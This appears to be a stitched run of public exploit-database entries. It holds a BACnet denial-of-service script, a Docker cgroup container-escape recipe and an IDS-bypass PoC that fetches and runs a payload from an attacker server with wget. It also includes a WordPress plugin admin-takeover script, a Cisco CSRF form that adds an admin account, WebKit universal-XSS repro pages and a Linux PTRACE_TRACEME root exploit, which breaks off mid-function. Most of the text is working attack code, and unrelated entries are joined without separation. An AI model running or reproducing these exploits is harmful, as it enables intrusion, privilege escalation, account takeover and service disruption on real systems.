BACnetServer = results.Server
BACnetPort = int(results.Port)
SRC_IP = get_Host_name_IP()
if not target_alive(BACnetServer, BACnetPort):
print((colored("[+] BACnet server down", "yellow")))
else:
if target_alive(BACnetServer, BACnetPort):
payload_DeviceCommunicationControl = "\x81\x0a\x00\x16\x01\x04\x00\x05\x01\x11\x0d\xff\x80\x00\x03\x1a\x0a\x19\x00\x2a\x00\x41"
print((colored("[+] Sending BACnet DeviceCommunicationControl payload from " + SRC_IP, "green")))
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP
s.connect((BACnetServer, BACnetPort))
s.send(struct.pack('>I',len(payload_DeviceCommunicationControl)))
s.send(payload_DeviceCommunicationControl)
print((colored("[+] Sent Payload: " + payload_DeviceCommunicationControl.encode('hex') + ' to BACnet server ' + BACnetServer + ' port ' + str(BACnetPort), "yellow")))
if target_alive(BACnetServer, BACnetPort):
payload_AtomicReadFile = "\x81\x0a\x00\x1b\x01\x14\x00\x05\x01\x06\xc4\x02\x80\x00\x00\x0e\x35\xff\xdf\x62\xee\x00\x00\x22\x05\x84\x0f"
print((colored("[+] Sending BACnet AtomicReadFile payload from " + SRC_IP, "green")))
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP
s.connect((BACnetServer, BACnetPort))
s.send(struct.pack('>I',len(payload_AtomicReadFile)))
s.send(payload_AtomicReadFile)
print((colored("[+] Sent Payload: " + payload_AtomicReadFile.encode('hex') + ' to BACnet server ' + BACnetServer + ' port ' + str(BACnetPort), "yellow")))
if target_alive(BACnetServer, BACnetPort):
payload_AtomicWriteFile = "\x81\x0a\x00\x1b\x01\x04\x00\x05\x02\x07\xc4\x02\x80\x00\x00\x0e\x35\xff\x5e\xd5\xc0\x85\x0a\x62\x64\x0a\x0f"
print((colored("[+] Sending BACnet AtomicWriteFile payload from " + SRC_IP, "green")))
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP
s.connect((BACnetServer, BACnetPort))
s.send(struct.pack('>I',len(payload_AtomicWriteFile)))
s.send(payload_AtomicWriteFile)
print((colored("[+] Sent Payload: " + payload_AtomicWriteFile.encode('hex') + ' to BACnet server ' + BACnetServer + ' port ' + str(BACnetPort), "yellow")))
if not target_alive(BACnetServer, BACnetPort):
print((colored("[+] DoS completed", "red")))
#------------------------------------------------------------------------------
# Main
#------------------------------------------------------------------------------
if __name__ == '__main__':
main()
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Exploit Title: Android 7-9 - Remote Code Execution
# Date: [date]
# Exploit Author: Marcin Kozlowski
# Version: 7-9
# Tested on: Android
# CVE : 2019-2107
CVE-2019-2107 - looks scary. Still remember Stagefright and PNG bugs vulns ....
With CVE-2019-2107 the decoder/codec runs under mediacodec user and with properly "crafted" video (with tiles enabled - ps_pps->i1_tiles_enabled_flag) you can possibly do RCE. The codec affected is HVEC (a.k.a H.265 and MPEG-H Part 2)
POC:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47157.zip
The digital touch iMessage extension can read out of bounds if a malformed Tap message contains a color array that is shorter than the points array and delta array. The method [ETTapMessage initWithArchiveData:] checks that the points array is twice as long as the deltas array, but only checks that the colors array is longer than eight bytes, even though a color is needed for every point-delta pair that is processed.
To reproduce the issue with the files in tapcrash.zip:
1) install frida (pip3 install frida)
2) open sendMessage.py, and replace the sample receiver with the phone number or email of the target device
3) in injectMessage.js replace the marker "FULL PATH" with the path of the obj file
4) in the local directory, run:
python3 sendMessage.py
This will lead to a crash in SpringBoard requiring no user interaction.
I've also attached a crash dump and ETencode.m, which is the file that was used to generate the obj file.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47158.zip
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/TREND-MICRO-DEEP-DISCOVERY-INSPECTOR-PERCENT-ENCODING-IDS-BYPASS.txt
[+] ISR: Apparition Security
[Vendor]
www.trendmicro.com
[Product]
Deep Discovery Inspector
Deep Discovery Inspector is a network appliance that monitors all ports and over 105 different network protocols to discover advanced threats and targeted attacks
moving in and out of the network and laterally across it. The appliance detects and analyzes malware, command-and-control (C&C) communications, and evasive attacker
activities that are invisible to standard security defenses.
[Vulnerability Type]
Percent Encoding IDS Bypass
[CVE Reference]
Vendor decided not to release a CVE
[Security Issue]
Trend Micro Deep Discovery Inspector IDS will typically trigger alerts for malicious system commands like "Wget Commandline Injection" and they will be flagged as high.
Attacker payloads sent with normal ascii characters for example like "wget" or even if they have been HEX encoded like "\x77\x67\x65\x74" they will still get flagged and alerted on.
However, attackers can easily bypass these alerts by sending malicious commands in HEX preceded by percent sign chars "%", e.g. "%77%67%65%74" which also translates to "wget" and
will not get flagged or alerted on and may still be processed on the target system.
e.g.
DDI RULE 2452
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/network/ddi-rule-2452
Therefore, Trend Micro IDS alerts can be easily bypassed and the payload is still run by the vulnerable target if the payload is encoded using percent/hex encoding like %77%67%65%74.
That will not only bypass the IDE by having no alert triggered or notification sent but the application will still process the malicious command.
Importantly, the "wget" DDI Rule 2452 used is just an example and can potentially be any malicious request where the IDS checks the character encodings but fails to account for
percent encoded HEX character payload values.
[Exploit/POC]
from socket import *
#Bypass TM DDI IDS e.g. Rule 2452 (Wget command line injection) PoC
#Discovery: hyp3rlinx - ApparitionSec
#Apparition Security
#Firewall Rule Bypass
IP = raw_input("[+] Trend Micro IDS")
PORT = 80
payload="/index.php?s=/index/vulnerable/app/invoke&function=call_user_func_array&vars[0]=system&vars[1][]=%77%67%65%74%20http://Attacker-Server/x.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a"
req = "GET "+payload+" HTTP/1.1\r\nHost"+IP+"\r\nConnection: close\r\n\r\n"
s=socket(AF_INET, SOCK_STREAM)
s.connect((IP, PORT))
s.send(req)
res=""
while True:
res = s.recv(512)
print res
if res=="\n" or "</html>":
break
s.close()
#Result is 200 HTTP OK and code execution on vuln app and No IDS Alert gets triggered.
[Network Access]
Remote
[Severity]
High
[Disclosure Timeline]
Vendor Notification: May 14, 2019
Vendor confirmed the IDS Bypass: May 20, 2019
Vendor informed that a DDI IDS enhancement has been made: July 18, 2019
July 23, 2019 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
# Exploit Title: Wordpress Hybrid Composer <= 1.4.6 - Unauthenticated Configuration Access (Admin Takeover)
# Date: 2019-07-24
# Vendor Homepage: http://wordpress.framework-y.com
# Software Link: http://wordpress.framework-y.com/hybrid-composer/
# Reference: https://labs.sucuri.net/wptf-hybrid-composer-unauthenticated-arbitrary-options-update/, https://wpvulndb.com/vulnerabilities/9452
# Affected version: <= 1.4.6
# Researcher: rootetsy
# Exploit Author: yasin
# Tested on: Linux
# Vulnerability discovered by rootetsy
# Summary
The plugin Hybrid Composer allows unauthenticated users to update any option in the options database table.
# Description
A Hybrid Composer plugin enables API routes by registering actions with either wp_ajax_ for authenticated or wp_ajax_nopriv_ for unauthenticated calls. Plugins using wp_ajax_nopriv_ actions should be fine as long as they are not giving access to methods with critical functionalities.
index.php in the WPTF Hybrid Composer plugin prior 1.4.7 for WordPress has an Unauthenticated Settings Change Vulnerability, related to certain wp_ajax_nopriv_ usage. Anyone can change the plugin's setting by simply sending a request with a hc_ajax_save_option action.
# Usage: python exploit.py
###########################################################
import httplib, urllib
import sys
import random
# pip install httplib urllib random
site = raw_input("[+] Target: ")
url = "/wp-admin/admin-ajax.php"
username = "user-%d" % random.randrange(1000000, 3000000)
email = raw_input("[+] E-mail: ")
def ChangeOption(site, url, option_name, content):
params = urllib.urlencode({'action': 'hc_ajax_save_option', 'option_name': option_name, 'content': content})
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
conn = httplib.HTTPSConnection(site) # conn = httplib.HTTPConnection(site)
conn.request("POST", url, params, headers)
response = conn.getresponse()
data = response.read()
conn.close()
registration_url= "/wp-login.php"
def AdminTakeover(site, registration_url, user_login, user_email):
params = urllib.urlencode({'action': 'register', 'user_login': user_login, 'user_email': user_email})
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
conn = httplib.HTTPSConnection(site) # conn = httplib.HTTPConnection(site)
conn.request("POST", registration_url, params, headers)
response = conn.getresponse()
data = response.read()
conn.close()
ChangeOption(site, url, "users_can_register", "1")
ChangeOption(site, url, "default_role", "administrator")
print "[+] Registering new admin user"
AdminTakeover(site, registration_url, username, email)
print "[+] Check your email for password: " + username + "[" + email + "]"
ChangeOption(site, url, "users_can_register", "0")
ChangeOption(site, url, "default_role", "subscriber")
###########################################################
# Product : Cisco Wireless Controller
# Version : 3.6.10E (last version)
# Date: 23.07.2019
# Vendor Homepage: https://www.cisco.com
# Exploit Author: Mehmet Önder Key
# Website: htts://cloudvist.com
# CVE: CVE-2019-12624
# Description : The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks to verify
the requests. This can be exploited to perform certain actions with
administrative privileges if a logged-in user visits a malicious web site.
# Tested On : Win10 & KaliLinux
Add Admin CSRF Payload @Cisco Wireless Controller
---------------
<html>
<body>
<form action="http://IP/security/cfgSecurityAAAUsersCreate
<http://192.168.115.83/security/cfgSecurityAAAUsersCreate>" method="POST">
<input type="hidden" name="username" value="secretadmin" />
<input type="hidden" name="privilege" value="15" />
<input type="hidden" name="password" value="K3Y" />
<input type="hidden" name="description" value="CSRF" />
<input type="hidden" name="type" value="lobby-admin" />
<input type="hidden" name="cfnpassword" value="K3Y" />
<input type="hidden" name="yearlife" value="2013" />
<input type="hidden" name="hourlife" value="16" />
<input type="hidden" name="monthlife" value="7" />
<input type="hidden" name="minlife" value="17" />
<input type="hidden" name="datelife" value="16" />
<input type="hidden" name="seclife" value="0" />
<input type="submit" value="submit" />
</form>
</body>
</html>
BACKGROUND
As lokihardt@ has demonstrated in https://bugs.chromium.org/p/project-zero/issues/detail?id=1121,
WebKit's support of the obsolete `showModalDialog` method gives an attacker the ability to perform
synchronous cross-origin page loads. In certain conditions, this might lead to
time-of-check-time-of-use bugs in the code responsible for enforcing the Same-Origin Policy. In
particular, the original bug exploited a TOCTOU bug in `SubframeLoader::requestFrame` to achieve
UXSS.
(copied from lokihardt's report)
```
bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
// Support for <frame src="javascript:string">
URL scriptURL;
URL url;
if (protocolIsJavaScript(urlString)) {
scriptURL = completeURL(urlString); // completeURL() encodes the URL.
url = blankURL();
} else
url = completeURL(urlString);
if (shouldConvertInvalidURLsToBlank() && !url.isValid())
url = blankURL();
Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made.
if (!frame)
return false;
if (!scriptURL.isEmpty())
frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom
return true;
}
```
The bug was fixed by inserting an extra access check right in front of the `executeIfJavaScriptURL`
call.
```
- if (!scriptURL.isEmpty())
+ if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL))
frame->script().executeIfJavaScriptURL(scriptURL);
```
It has stopped the original attack, but a year later https://bugs.webkit.org/show_bug.cgi?id=187203
was reported, which abused the HTML parser to bypass the added check. The problem was that
`isURLAllowed` didn't block `javascript:` URIs when the JavaScript execution context stack was
empty, i.e. when the `requestFrame` call was originating from the parser, so the exploit just needed
to make the parser insert an `iframe` element with a `javascript:` URI and use its `onload` handler
to load a cross-origin page inside `loadOrRedirectSubframe`.
As a result, another check has been added (see the comment below):
```
+ bool hasExistingFrame = ownerElement.contentFrame();
Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList);
if (!frame)
return false;
- if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL))
+ // If we create a new subframe then an empty document is loaded into it synchronously and may
+ // cause script execution (say, via a DOM load event handler) that can do anything, including
+ // navigating the subframe. We only want to evaluate scriptURL if the frame has not been navigated.
+ bool canExecuteScript = hasExistingFrame || (frame->loader().documentLoader() && frame->loader().documentLoader()->originalURL() == blankURL());
+ if (!scriptURL.isEmpty() && canExecuteScript && ownerElement.isURLAllowed(scriptURL))
frame->script().executeIfJavaScriptURL(scriptURL);
```
VULNERABILITY DETAILS
The second fix relies on the assumption that the parser can't trigger a `requestFrame` call for an
`iframe` element with an existing content frame. However, due to the way the node insertion
algorithm is implemented, it's possible to run JavaScript while the element's insertion is still in
progress:
https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/dom/ContainerNode.cpp#L185
```
static ALWAYS_INLINE void executeNodeInsertionWithScriptAssertion(ContainerNode& containerNode, Node& child,
ContainerNode::ChildChangeSource source, ReplacedAllChildren replacedAllChildren, DOMInsertionWork doNodeInsertion)
{
NodeVector postInsertionNotificationTargets;
{
ScriptDisallowedScope::InMainThread scriptDisallowedScope;
if (UNLIKELY(containerNode.isShadowRoot() || containerNode.isInShadowTree()))
containerNode.containingShadowRoot()->resolveSlotsBeforeNodeInsertionOrRemoval();
doNodeInsertion();
ChildListMutationScope(containerNode).childAdded(child);
postInsertionNotificationTargets = notifyChildNodeInserted(containerNode, child);
}
[...]
ASSERT(ScriptDisallowedScope::InMainThread::isEventDispatchAllowedInSubtree(child));
for (auto& target : postInsertionNotificationTargets)
target->didFinishInsertingNode();
[...]
```
Note that `HTMLFrameElementBase::didFinishInsertingNode` eventually calls `requestFrame`. So, if a
subtree which is being inserted contains multiple `iframe` elements, the first one can act as a
trigger for the JavaScript code that creates a content frame for another element right before its
`requestFrame` method is executed to bypass the `canExecuteScript` check. `isURLAllowed` again can
be tricked with the help of the HTML parser.
It's also worth noting that the `showModalDialog` method has to be triggered by a user gesture. On
the other hand, an attacker can't just wrap the exploit in a `click` event handler, as it would put
an execution context on the stack and make the `isURLAllowed` check fail. One way to overcome this
is to save a gesture token by performing an asynchronous load of a `javascript:` URI.
VERSION
Safari 12.0.3 (14606.4.5)
WebKit r243998
REPRODUCTION CASE
<body>
<h1>Click anywhere</h1>
<script>
let counter = 0;
function run() {
if (++counter == 2) {
parent_frame = frame.contentDocument.querySelector("iframe");
frame1 = parent_frame.appendChild(document.createElement("iframe"));
frame2 = parent_frame.appendChild(document.createElement("iframe"));
frame1.src = "javascript:top.runChild()";
}
}
let child_counter = 0;
function runChild() {
if (++child_counter == 2) {
parent_frame.appendChild(frame2);
a = frame2.contentDocument.createElement("a");
a.href = cache_frame.src;
a.click();
showModalDialog(URL.createObjectURL(new Blob([`
<script>
let intervalID = setInterval(() => {
try {
opener.frame.document.foo;
} catch (e) {
clearInterval(intervalID);
window.close();
}
}, 100);
</scr` + "ipt>"], {type: "text/html"})));
frame2.src = "javascript:alert(document.documentElement.outerHTML)";
}
}
onclick = _ => {
frame = document.body.appendChild(document.createElement("iframe"));
frame.contentWindow.location = `javascript:'<b><p><iframe`
+ ` src="javascript:top.run()"></iframe></b></p>'`;
}
cache_frame = document.body.appendChild(document.createElement("iframe"));
cache_frame.src = "http://example.com/"; // victim page URL
cache_frame.style.display = "none";
</script>
</body>
From WebKit's bugtracker:
Unfortunately, even though the patch from https://trac.webkit.org/changeset/244892/webkit
has blocked the original repro case because it relies on executing javascript: URIs synchronously,
the underlying issue is still not fixed.
Currently, `requestFrame` is implemented as follows:
bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
[...]
Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); // ***1***
if (!frame)
return false;
if (!scriptURL.isEmpty() && ownerElement.isURLAllowed(scriptURL)) {
// FIXME: Some sites rely on the javascript:'' loading synchronously, which is why we have this special case.
// Blink has the same workaround (https://bugs.chromium.org/p/chromium/issues/detail?id=923585).
if (urlString == "javascript:''" || urlString == "javascript:\"\"")
frame->script().executeIfJavaScriptURL(scriptURL);
else
frame->navigationScheduler().scheduleLocationChange(ownerElement.document(), ownerElement.document().securityOrigin(), scriptURL, m_frame.loader().outgoingReferrer(), lockHistory, lockBackForwardList, stopDelayingLoadEvent.release()); // ***2***
}
return true;
}
By the time the subframe loader schedules a JS URI load in [2], the frame might already contain a
cross-origin victim page loaded in [1], so the JS URI might get executed in the cross-origin
context.
Updated repro:
<body>
<h1>Click anywhere</h1>
<script>
let counter = 0;
function run(event) {
++counter;
if (counter == 2) {
event.target.src = "javascript:alert(document.documentElement.outerHTML)";
} else if (counter == 3) {
frame = event.target;
a = frame.contentDocument.createElement("a");
a.href = cache_frame.src;
a.click();
showModalDialog(URL.createObjectURL(new Blob([`
<script>
let intervalID = setInterval(() => {
try {
opener.frame.document.foo;
} catch (e) {
clearInterval(intervalID);
window.close();
}
}, 100);
</scr` + "ipt>"], {type: "text/html"})));
}
}
onclick = _ => {
frame = document.body.appendChild(document.createElement("iframe"));
frame.contentWindow.location = `javascript:'<b><p><iframe`
+ ` onload="top.run(event)"></iframe></b></p>'`;
}
cache_frame = document.body.appendChild(document.createElement("iframe"));
cache_frame.src = "http://example.com/"; // victim page URL
cache_frame.style.display = "none";
</script>
</body>
I'd recommend you consider applying a fix similar to the one that the Blink team has in
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/html/html_frame_element_base.cc?rcl=d3f22423d512b45466f1694020e20da9e0c6ee6a&l=62,
i.e. using the frame's owner document as a fallback for the security check.
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// Uses pkexec technique
// ---
// Original discovery and exploit author: Jann Horn
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
// ---
// <bcoles@gmail.com>
// - added known helper paths
// - added search for suitable helpers
// - added automatic targeting
// - changed target suid exectuable from passwd to pkexec
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
// ---
// Tested on:
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
// - Ubuntu 19.04 kernel 5.0.0-15-generic
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
// - Linux Mint 19 kernel 4.15.0-20-generic
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
// - ElementaryOS 0.4.1 4.8.0-52-generic
// - Backbox 6 kernel 4.18.0-21-generic
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
// - Kali kernel 4.19.0-kali5-amd64
// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
// - MX 18.3 kernel 4.19.37-2~mx17+1
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
// - Debian 9.4.0 kernel 4.9.0-6-amd64
// - Debian 10.0.0 kernel 4.19.0-5-amd64
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
// - Antergos 18.7 kernel 4.17.6-1-ARCH
// ---
// user@linux-mint-19-2:~$ gcc -s poc.c -o ptrace_traceme_root
// user@linux-mint-19-2:~$ ./ptrace_traceme_root
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// [.] Checking environment ...
// [~] Done, looks good
// [.] Searching for known helpers ...
// [~] Found known helper: /usr/sbin/mate-power-backlight-helper
// [.] Using helper: /usr/sbin/mate-power-backlight-helper
// [.] Spawning suid process (/usr/bin/pkexec) ...
// [.] Tracing midpid ...
// [~] Attached to midpid
// To run a command as administrator (user "root"), use "sudo <command>".
// See "man sudo_root" for details.
//
// root@linux-mint-19-2:/home/user#
// ---
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <stddef.h>
#include <stdarg.h>
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/elf.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#define SAFE(expr) ({ \
typeof(expr) __res = (expr); \
if (__res == -1) { \
dprintf("[-] Error: %s\n", #expr); \
return 0; \
} \
__res; \
})
#define max(a,b) ((a)>(b) ? (a) : (b))
static const char *SHELL = "/bin/bash";
static int middle_success = 1;
static int block_pipe[2];
static int self_fd = -1;
static int dummy_status;
static const char *helper_path;
static const char *pkexec_path = "/usr/bin/pkexec";
static const char *pkaction_path = "/usr/bin/pkaction";
struct stat st;
const char *helpers[1024];
const char *known_helpers[] = {
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
"/usr/sbin/mate-power-backlight-helper",
"/usr/bin/xfpm-power-backlight-helper",
"/usr/bin/lxqt-backlight_backend",
"/usr/libexec/gsd-wacom-led-helper",
"/usr/libexec/gsd-wacom-oled-helper",
"/usr/libexec/gsd-backlight-helper",
"/usr/lib/gsd-backlight-helper",
"/usr/lib/gsd-wacom-led-helper",
"/usr/lib/gsd-wacom-oled-helper",
};
/* temporary printf; returned pointer is valid until next tprintf */
static char *tprintf(char *fmt, ...) {
static char buf[10000];
va_list ap;
va_start(ap, fmt);
vsprintf(buf, fmt, ap);
va_end(ap);
return buf;
}
/*
* fork, execute pkexec in parent, force parent to trace our child process,
* execute suid executable (pkexec) in child.
*/
static int middle_main(void *dummy) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
pid_t middle = getpid();
self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
pid_t child = SAFE(fork());
if (child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
SAFE(dup2(self_fd, 42));
/* spin until our parent becomes privileged (have to be fast here) */
int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
while (1) {
char buf[1000];
ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
buf[buflen] = '\0';
if (strstr(buf, needle)) break;
}
/*
* this is where the bug is triggered.
* while our parent is in the middle of pkexec, we force it to become our
* tracer, with pkexec's creds as ptracer_cred.
*/
SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
/*
* now we execute a suid executable (pkexec).
* Because the ptrace relationship is considered to be privileged,
* this is a proper suid execution despite the attached tracer,
* not a degraded one.
* at the end of execve(), this process receives a SIGTRAP from ptrace.
*/
execl(pkexec_path, basename(pkexec_path), NULL);
dprintf("[-] execl: Executing suid executable failed");
exit(EXIT_FAILURE);
}
SAFE(dup2(self_fd, 0));
SAFE(dup2(block_pipe[1], 1));
/* execute pkexec as current user */
struct passwd *pw = getpwuid(getuid());
if (pw == NULL) {
dprintf("[-] getpwuid: Failed to retrieve username");
exit(EXIT_FAILURE);
}
middle_success = 1;
execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
helper_path,
"--help", NULL);
middle_success = 0;
dprintf("[-] execl: Executing pkexec failed");
exit(EXIT_FAILURE);
}
/* ptrace pid and wait for signal */
static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
struct user_regs_struct regs;
struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };
SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));
SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
/* set up indirect arguments */
unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
struct injected_page {
unsigned long argv[2];
unsigned long envv[1];
char arg0[8];
char path[1];
} ipage = {
.argv = { scratch_area + offsetof(struct injected_page, arg0) }
};
strcpy(ipage.arg0, arg0);
for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
unsigned long pdata = ((unsigned long *)&ipage)[i];
SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
(void*)pdata));
}
/* execveat(exec_fd, path, argv, envv, flags) */
regs.orig_rax = __NR_execveat;
regs.rdi = exec_fd;
regs.rsi = scratch_area + offsetof(struct injected_page, path);
regs.rdx = scratch_area + offsetof(struct injected_page, argv);
regs.r10 = scratch_area + offsetof(struct injected_page, envv);
regs.r8 = AT_EMPTY_PATH;
SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));
}
static int middle_stage2(void) {
/* our child is hanging in signal delivery from execve()'s SIGTRAP */
pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
force_exec_and_wait(child, 42, "stage3");
return 0;
}
// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *
static int spawn_shell(void) {
SAFE(setresgid(0, 0, 0));
SAFE(setresuid(0, 0, 0));
execlp(SHELL, basename(SHELL), NULL);
dprintf("[-] execlp: Executing shell %s failed", SHELL);
exit(EXIT_FAILURE);
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *
static int check_env(void) {
const char* xdg_session = getenv("XDG_SESSION_ID");
dprintf("[.] Checking environment ...\n");
if (stat(pkexec_path, &st) != 0) {
dprintf("[-] Could not find pkexec executable at %s", pkexec_path);
exit(EXIT_FAILURE);
}
if (stat(pkaction_path, &st) != 0) {
dprintf("[-] Could not find pkaction executable at %s", pkaction_path);
exit(EXIT_FAILURE);
}
if (xdg_session == NULL) {
dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
return 1;
}
if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
dprintf("[!] Warning: Could not find active PolKit agent\n");
return 1;
}
if (stat("/usr/sbin/getsebool", &st) == 0) {
if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) {
dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
return 1;
}
}
dprintf("[~] Done, looks good\n");
return 0;
}
/*
* Use pkaction to search PolKit policy actions for viable helper executables.
* Check each action for allow_active=yes, extract the associated helper path,
* and check the helper path exists.
*/
int find_helpers() {
char cmd[1024];
snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
FILE *fp;
fp = popen(cmd, "r");
if (fp == NULL) {
dprintf("[-] Failed to run: %s\n", cmd);
exit(EXIT_FAILURE);
}
char line[1024];
char buffer[2048];
int helper_index = 0;
int useful_action = 0;
static const char *needle = "org.freedesktop.policykit.exec.path -> ";
int needle_length = strlen(needle);
while (fgets(line, sizeof(line)-1, fp) != NULL) {
/* check the action uses allow_active=yes*/
if (strstr(line, "implicit active:")) {
if (strstr(line, "yes")) {
useful_action = 1;
}
continue;
}
if (useful_action == 0)
continue;
useful_action = 0;
/* extract the helper path */
int length = strlen(line);
char* found = memmem(&line[0], length, needle, needle_length);
if (found == NULL)
continue;
memset(buffer, 0, sizeof(buffer));
for (int i = 0; found[needle_length + i] != '\n'; i++) {
if (i >= sizeof(buffer)-1)
continue;
buffer[i] = found[needle_length + i];
}
if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
strstr(&buffer[0], "/cpugovctl") != 0 ||
strstr(&buffer[0], "/package-system-locked") != 0 ||
strstr(&buffer[0], "/cddistupgrader") != 0) {
dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);
continue;
}
/* check the path exists */
if (stat(&buffer[0], &st) != 0)
continue;
helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
helper_index++;
if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))
break;
}
pclose(fp);
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
int ptrace_traceme_root() {
dprintf("[.] Using helper: %s\n", helper_path);
/*
* set up a pipe such that the next write to it will block: packet mode,
* limited to one packet
*/
SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
char dummy = 0;
SAFE(write(block_pipe[1], &dummy, 1));
/* spawn pkexec in a child, and continue here once our child is in execve() */
dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);
static char middle_stack[1024*1024];
pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
if (!middle_success) return 1;
/*
